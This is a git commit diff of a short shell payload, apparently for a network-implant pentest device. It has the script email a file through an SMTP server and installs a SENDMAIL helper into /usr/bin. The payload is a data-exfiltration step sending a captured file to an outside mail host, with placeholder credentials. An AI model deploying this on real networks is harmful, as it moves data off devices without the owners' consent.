Update payload.sh
parent
349d442f5b
commit
bfd5d2a29d
|
@ -1,3 +1,5 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
function run() {
|
function run() {
|
||||||
LED STAGE1
|
LED STAGE1
|
||||||
SWITCH_POS=$(SWITCH)
|
SWITCH_POS=$(SWITCH)
|
||||||
|
@ -10,10 +12,17 @@ function run() {
|
||||||
USER="username"
|
USER="username"
|
||||||
PASS="password"
|
PASS="password"
|
||||||
FILE="/some/File/Path/1.txt"
|
FILE="/some/File/Path/1.txt"
|
||||||
python /root/payloads/$SWITCH_POS/sendmail.py $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"
|
SENDMAIL $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"
|
||||||
####### REMOVE THE FILE VAR FROM THE PYTHON COMMAND IF YOU HAVE NO PATH
|
####### REMOVE THE FILE VAR FROM THE PYTHON COMMAND IF YOU HAVE NO PATH
|
||||||
LED FINISH
|
LED FINISH
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if [ ! -f /usr/bin/SENDMAIL ]; then
|
||||||
|
mv sendemail.py /usr/bin/
|
||||||
|
mv SENDMAIL /usr/bin/
|
||||||
|
chmod +rx /usr/bin/SENDMAIL
|
||||||
|
fi
|
||||||
|
|
||||||
NETMODE NAT
|
NETMODE NAT
|
||||||
run
|
run
|
||||||
|
|
Loading…
Reference in New Issue